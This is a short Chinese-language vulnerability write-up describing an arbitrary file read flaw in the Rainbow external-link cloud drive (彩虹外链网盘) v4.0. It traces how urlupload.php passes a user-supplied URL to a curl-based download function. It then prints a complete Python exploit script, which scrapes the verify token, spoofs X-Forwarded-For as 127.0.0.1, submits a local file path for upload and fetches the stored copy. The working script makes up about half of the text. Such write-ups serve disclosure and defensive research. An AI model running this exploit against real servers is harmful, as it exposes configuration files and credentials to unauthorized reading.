彩虹外链网盘 v4.0 任意文件读取漏洞(一)

一、漏洞简介

如果开启了开启open_basedir函数,则无法利用此漏洞

二、漏洞影响

彩虹外链网盘 v4.0

三、复现过程

回到一开始觉得可能存在文件读取的地方 在urlupload.php中接收到url传到curl_download函数

5.png{width="5.833333333333333in" height="1.9474212598425198in"}

在main.func.php中看到curl_download函数其实就是调用curl_init讲道理是可以文件读取的

6.png{width="5.833333333333333in" height="2.7040496500437445in"}

文件上传后保存,需要下载查看内容,而且有verify验证,于是编写python脚本

import requests
import re
import sys

url = sys.argv[1]
file = sys.argv[2]

headers={"X-Forwarded-For":"127.0.0.1"}
requests = requests.session()

html = requests.get(url+"/urlupload.php").text
verify = re.findall("name=\"verify\" value=\"(.*?)\"",html)[0]

data={"url":file,"name":"1231421312.torrent","pwd":"Aa1345123","verify":verify}
html = requests.post(url+"urlupload.php?a=1",data=data,headers=headers).text

try:
    down_url = re.findall("<a href=\"(down.php.*?)\"",html)[0]
    result = requests.get(url+down_url).text
except:
    result = "error"
print(result)

7.png{width="5.833333333333333in" height="0.877580927384077in"}